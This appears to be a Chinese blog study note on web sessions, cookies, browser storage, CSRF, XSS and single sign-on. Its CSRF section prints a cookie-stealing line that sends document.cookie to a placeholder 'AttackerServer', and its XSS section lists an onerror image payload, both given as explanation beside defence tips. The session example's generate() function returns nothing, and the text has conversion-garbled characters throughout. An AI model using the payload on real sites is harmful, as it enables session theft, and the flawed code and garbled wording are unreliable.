session与登陆机制

github 地址：戳这里

session

概念

1. 指一类用来在客户端与服务器之间保持状态的解决方案
2. 这种解决方案的存储结构

特色

• 因为 Session 是以文本文件形式存储在服务器端的，因此不怕客户端修改 Session 内容。（也能够用其余存储方式好比redis）

• Session对象是有生命周期的

• Session实例是轻量级的，所谓轻量级：是指他的建立和删除不须要消耗太多资源

• Session对象内部有一个缓存

用法

Session 对象存储特定用户会话所需的属性及配置信息，在web页跳转时，信息将不会丢失

一般用于如下操做

1. 存储整个会话过程当中保持用户状态的信息，好比登陆信息或者用户浏览时产生的其它信息
2. 存储只须要在 页从新加载 过程当中，或者 一组功能页 之间保持状态的对象
3. 在 Web服务器上保持用户的 状态信息 供在任什么时候间从任何设备上的页面进行访问。

限制

1. 用户登陆越多，session须要的内存量越大
2. 每一个 Session 对象的持续时间是用户访问的时间加上不活动的时间。

为什么须要session

HTTP协议自己是无状态的

举个喝咖啡的例子：

一、该店的店员很厉害，能记住每位顾客的消费数量，只要顾客一走进咖啡店，店员就知道该怎么对待了。这种作法就是协议自己支持状态。

二、发给顾客一张卡片，上面记录着消费的数量，通常还有个有效期限。每次消费时，若是顾客出示这张卡片，则这次消费就会与之前或之后的消费相联系起来。这种作法就是在客户端保持状态。

三、发给顾客一张会员卡，除了卡号以外什么信息也不纪录，每次消费时，若是顾客出示该卡片，则店员在店里的纪录本上找到这个卡号对应的纪录添加一些消费信息。这种作法就是在服务器端保持状态。

具体机制

1. 当程序须要为某个客户端的请求建立一个session的时候，服务器首先检查这个客户端的请求里是否已包含了一个 session标识 - 称为session id，若是已包含一个session id则说明之前已经为此客户端建立过session，服务器就按照session id把这个session检索出来使用（若是检索不到，可能会新建一个），若是客户端请求不包含session id，则为此客户端建立一个session而且生成一个与此session相关联的session id，session id的值应该是一个 既不会重复，又不容易被找到规律以仿造的字符串 ，这个session id将被在本次响应中返回给客户端保存。

2. 因为cookie能够被人为的禁止，必须有其余机制以便在cookie被禁止时仍然可以把session id传递回服务器。常常被使用的一种技术叫作URL重写

   两种形式：

   // 做为url附加路径
   'http://..../xxx;jsessionid=abcdefjijeoijoifjioe'
   
   
   // 做为查询字符串
   'http://..../xxx?jsessionid=abcdefjijeoijoifjioe'
   复制代码

3. 较老的技术，表单隐藏字段，此方法在防止csrf中有用

实现

基于cookie来实现用户和数据的映射

将口令放在cookie中，口令一旦被褚昂爱，就丢失映射关系。一般session的有效期一般短，过时就将数据删除

一旦服务器检查到用户请求cookie中没有携带session_id，它会为之生成一个值，这个值是惟一且不重复的值，并设定超时时间。若是过时就从新生成，若是没有过时，就更新超时时间

var sessions = {};
var key = 'session_id';
var EXPIRES = 20*60*1000;
var generate  = function () {
	var session = {};
	session.id = (new Date().getTime()) + Math.random();
	session.cookie = {
		expire: (new Date()).getTime() + EXPIRES
	}
	sessions[session.id] = session
}

function (req, res) {
	var id = req.cookies[key];
	if (!id) {
		req.session = generate();
	} else {
		var session = sessions[id];
		if (session) {
			if (session.cookie.expire > new Date().getTime()) {
				session.cookie.expire = new Date().getTime() + EXPIRES;
				req.session = session;
			} else {
				delete sessions[id];
				req.session = generate();
			}
		} else {
			req.session = generate();
		}
	}
}
复制代码

一种节省空间的作法

因为关闭浏览器不会致使session被删除，迫使服务器为seesion设置了一个失效时间，当距离客户端上一次使用session的时间超过这个失效时间时，服务器就能够认为客户端已经中止了活动，才会把session删除以节省存储空间

reference

http://justsee.iteye.com/blog/1570652

https://baike.baidu.com/item/session/479100?fr=aladdin

https://blog.csdn.net/hjc1984117/article/details/53995816

cookie

存储在用户本地终端的数据

http请求自动发送，跨域除外

用途

客户端记录用户信息

特色

存储在硬盘上的cookie能够在不一样的浏览器进程间共享，好比两个IE窗口。而对于保存在内存里的cookie，不一样的浏览器有不一样的处理方式。

属性

1. name：cookie名称
2. value：cookie值
3. domain：能够访问cookie的域名，某一级域名能够访问上一级级域名的cookie
4. expires/Max-Age：过时时间
5. Size：cookie的大小
6. http：httponly属性，为true，不能用document.cookie得到
7. secure：为true只能在https得到
8. path：子路径访问父路径cookie

建立cookie

document.cookie="username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 GMT; path=/";

读取cookie

document.cookie

修改cookie

document.cookie =

采用覆盖的形式

删除cookie

将过时时间设置为过去时间便可

与localStorage和sessionStorage的区别

1. 存储大小

   • cookie数据大小不能超过4k。

   • sessionStorage和localStorage 虽然也有存储大小的限制，但比cookie大得多，能够达到5M或更大。

2. 有效时间

   • localStorage 存储持久数据，浏览器关闭后数据不丢失除非主动删除数据；

   • sessionStorage 数据在当前浏览器窗口关闭后自动删除。

   • cookie 设置的cookie过时时间以前一直有效，即便窗口或浏览器关闭

3. sessionStorage

   • 会话级别的存储
   • 临时性的，页面打开有，页面关闭没有
   • 数据不共享
   • 经过a标签来跳出一个页面，则sessionStorage共享

4. localStorage

   • 持久化的本地存储
   • 永久性的存储
   • 不能跨域
   • 数据共享

5. cookie

   • cookie在同源且符合path规则的文档之间共享
   • max-age用秒来设置cookie的生存期。
   • 若是max-age为0，则表示删除该cookie。
   • 若是max-age为负数，则表示该cookie仅在本浏览器窗口以及本窗口打开的子窗口内有效，关闭窗口后该cookie即失效。

如何获得cookie

有两个http头部是专门负责设置以及发送cookie的,它们分别是 Set-Cookie 以及 Cookie 。当服务器返回给客户端一个http响应信息时，其中若是包含Set-Cookie这个头部时，意思就是指示客户端创建一个cookie，而且在后续的http请求中自动发送这个cookie到服务器端，直到这个cookie过时。若是cookie的生存时间是整个会话期间的话，那么浏览器会将cookie保存在内存中，浏览器关闭时就会自动清除这个cookie。另一种状况就是保存在客户端的硬盘中，浏览器关闭的话，该cookie也不会被清除，下次打开浏览器访问对应网站时，这个cookie就会自动再次发送到服务器端。

cookie服务器端写入

//java的写法
response.setHeader("SET-COOKIE", key + "="+ value + ";Path=/;domain="+ domain + ";date="+date);

//php 中的写法
setcookie(name,value,expire,path,domain,secure)
复制代码

reference

https://my.oschina.net/ososchina/blog/339918

https://blog.csdn.net/dong123dddd/article/details/50388656

csrf（跨站请求伪造）

过程

1. 用户c打开浏览器，登陆网站a
2. 登陆成功后，记录登陆信息cookie
3. 在网站a未退出的状况下，打开网站b
4. 网站b在收到用户请求后返回攻击性代码，获取网站a的cookie，并发出请求a网站（注意:这儿是两步）
5. 网站a误觉得仍是用户c发出的请求

窃取cookie

向被攻击者的服务器页面上注入一段javascript代码(借助xss跨站脚本攻击)

document.location='http://AttackerServer/getCookie.php?cookie='+document.cookie;
复制代码

防护

1. 验证http referer字段
2. 在请求地址中添加token

系统开发者能够在HTTP请求中以参数的形式加入一个随机产生的token，并在服务器端创建一个拦截器来验证这个token，若是请求中没有token或者token内容不正确，则认为多是CSRF攻击而拒绝该请求。

3. 在HTTP头中自定义属性并验证（不会被泄露）

reference

http://www.freebuf.com/articles/web/11840.html

xss（跨站脚本攻击）

分类

1. 反射型（非持久型）

那些浏览器每次都要在参数中提交恶意数据才能触发的跨站脚本漏洞。

可让一个域名转向到恶意URL，把那个域名发给用户

2. 存储型（持久型）

指经过提交恶意数据到存储器（好比数据库、文本文件等），Web应用程序输出的时候是从存储器中读出恶意数据输出到页面的一类跨站脚本漏洞。

常见攻击方法

1. 绕过xss-filter
2. 利用img
3. 空格，回车，tab来绕过过滤
4. 利用事件如：<img src=“#” onerror= “alert(1)”/>
5. css跨站：background-url
6. 利用字符编码

防护

1. xss-filter，过滤标签 2.httpOnly
2. 将变量输出到页面时，要编码

reference

http://www.cnblogs.com/wqhwe/p/5416976.html

单系统登陆

http无状态协议

浏览器每次请求，服务器都单独处理

要鉴别浏览器请求，又由于http是无状态协议，因此须要服务器和浏览器共同维护一个状态

会话机制

浏览器第一次请求服务器，建立一个会话id，并由浏览器存储，之后每次请求都带上，服务器取得后可判断是不是同一个用户

单系统利用cookie

登陆状态

浏览器第一次请求服务器，须要验证用户名和密码，经过与数据库里的做比较，验证经过将会话标记为“已受权”

之后每次请求都检查登陆状态

单点登陆(多系统登陆，single sign on，sso)

用户登陆注销一次，就能够在多个系统中获得效果

因为多系统的域不同，全部cookie会受到限制，浏览器发送http请求时会自动携带与该域匹配的cookie，而不是全部cookie

若是将domain设置为顶级域名会有限制：

1. 系统群域名得统一
2. 各系统使用的技术要相同
3. cookie不安全

登陆

相比于单系统登陆，sso多了一个认证中心，只有认证中心接受用户名和密码等安全信息，其余系统不提供登陆入口，只接受认证中心的间接受权。间接受权经过令牌实现，sso认证中心验证用户的用户名密码没问题，建立受权令牌，在接下来的跳转过程当中，受权令牌做为参数发送给各个子系统，子系统拿到令牌，即获得了受权，能够借此建立局部会话，局部会话登陆方式与单系统的登陆方式相同。这个过程，也就是单点登陆的原理，用下图说明

用户登陆成功以后，会与sso认证中心及各个子系统创建会话，用户与sso认证中心创建的会话称为全局会话，用户与各个子系统创建的会话称为局部会话，局部会话创建以后，用户访问子系统受保护资源将再也不经过sso认证中心

注销

具体跳转

假设认证中心和系统2的url分别是：sso.com、system2.com ，访问 system2.com 时因未登陆而跳转到 sso.com ，跳转地址：http://sso.com?service=http://system2.com（不须要额外信息），此时，就变成了浏览器与 http://sso.com 站点之间的会话，这个会话由于系统1登陆的缘由已经被标记为已登陆，因此认证中心取一块令牌，根据service参数回跳，并附上令牌，回跳地址：http://system2.com?token=token

如何验证登陆信息

1. 不一样域之间

   • 当登陆某一系统后，须跳转到其它系统并设置cookie
   • nodejs实现302跳转

2. 同一域名不一样站点

   • 共享cookie

3. 同一域，不一样子域

   • 存放sessionId的域都是上一级的

reference

https://www.cnblogs.com/wxj-106/p/8097880.html

http://www.cnblogs.com/ywlaker/p/6113927.html#!comments